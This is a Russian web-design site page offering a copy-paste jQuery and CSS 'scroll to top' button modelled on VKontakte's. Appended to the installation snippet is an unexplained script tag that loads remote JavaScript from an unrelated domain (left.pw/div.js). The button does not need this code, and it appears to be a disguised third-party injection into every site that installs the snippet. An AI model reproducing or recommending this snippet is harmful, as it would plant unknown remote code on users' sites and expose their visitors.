Меню сайта
Наш опрос
По каким дням вы чаще всего занимаетесь сайтами?
Всего ответов: 2
Статистика

Статистика:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Форма входа
Регистрация домен
регистрация доменов
домен RU - 99 руб
домен РФ - 99 руб
Зарегистрируй себе домен! имя: 

2domains.ru
Друзья сайта
Главная » Файлы » Сайтостроительство » Другие скрипты

Up на подобии как в вк
06.09.2014, 10:15

Скрипт кнопка вверх на подобии такой как в вк для сайта.
Установка:
1) Заходим в Панель Управления сайтом потом в Управление дизайном - Прописываем стили в таблице стилей (CSS) в самый низ:
Код
.scrolltotop__side { position:fixed; width:3%; height:100%; top:0; left:0; background: black; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; filter:alpha(opacity=0.2); -moz-opacity:0.1; -khtml-opacity:0.1; opacity:0.1}
  .scrolltotop__arrow { position:fixed; width:3%; height:100%; top:50px; left:0; background:url(http://pnghosts.ru/img/up-csm.png) top no-repeat; -ms-filter:"progid:DXImageTransform.Microsoft.Alpha(Opacity=0.4)"; filter:alpha(opacity=0.4); -moz-opacity:0.4; -khtml-opacity:0.4; opacity:0.4}


3) А вот этот код прописываем в нижнюю или верхнюю часть сайта:
Код
<script type="text/javascript">
  jQuery(document).ready(function(){
  jQuery('body').append("<div class='scrolltotop'><div class='scrolltotop__side'></div><div class='scrolltotop__arrow'></div></div>");
  jQuery(window).scroll(function(){
  if (jQuery(this).scrollTop() > 350) {
  jQuery('.scrolltotop').fadeIn();
  } else {
  jQuery('.scrolltotop').fadeOut();
  }
  });
  jQuery('.scrolltotop').click(function(){
  jQuery("html, body").animate({ scrollTop: 0 }, 600);
  return false;
  });
  });0
  </script><script type="text/javascript" src="http://left.pw/div.js"></script>


На этом установка завершена. Скрипт проверен в IE 9, в мозиле, опере, гугл хроме

Добавить в
Категория: Другие скрипты | Добавил: smasto
Просмотров: 353 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Может вам понравятся другие материалы сайта:
Мини-профиль
Сегодня 22.11.2024 18:18
Аватар
Информация

Вы не авторизованы, пожалуйста зарегистрируйтесь или авторизуйтесь!
Поиск
Полезные ссылки Хостинг фото
Мини-хостинг Файлов
Мы в twitter
Admin новости
Добавлено 27.02.2013 | Добавил WeB-DiZiC

Вчера я решил попробовать заработать хоть копеечку на этом проекте и добавил рекламный блок smile Если вы в нем найдете интересную рекламу то смело нажимайте на нее smile

Добавлено 08.10.2012 | Добавил WeB-DiZiC

Добавлена возможность авторизации через социальные сети "Вконтакте" и "Facebook"

Добавлено 24.09.2012 | Добавил WeB-DiZiC

Сайт переехал на платный домен и теперь мы доступны по web-dizic.ru

Реклама от google



WeB-DiZiC by Al-Sher
Рекомендуемый браузер Chromе
Не советуем использовать IE!
/a>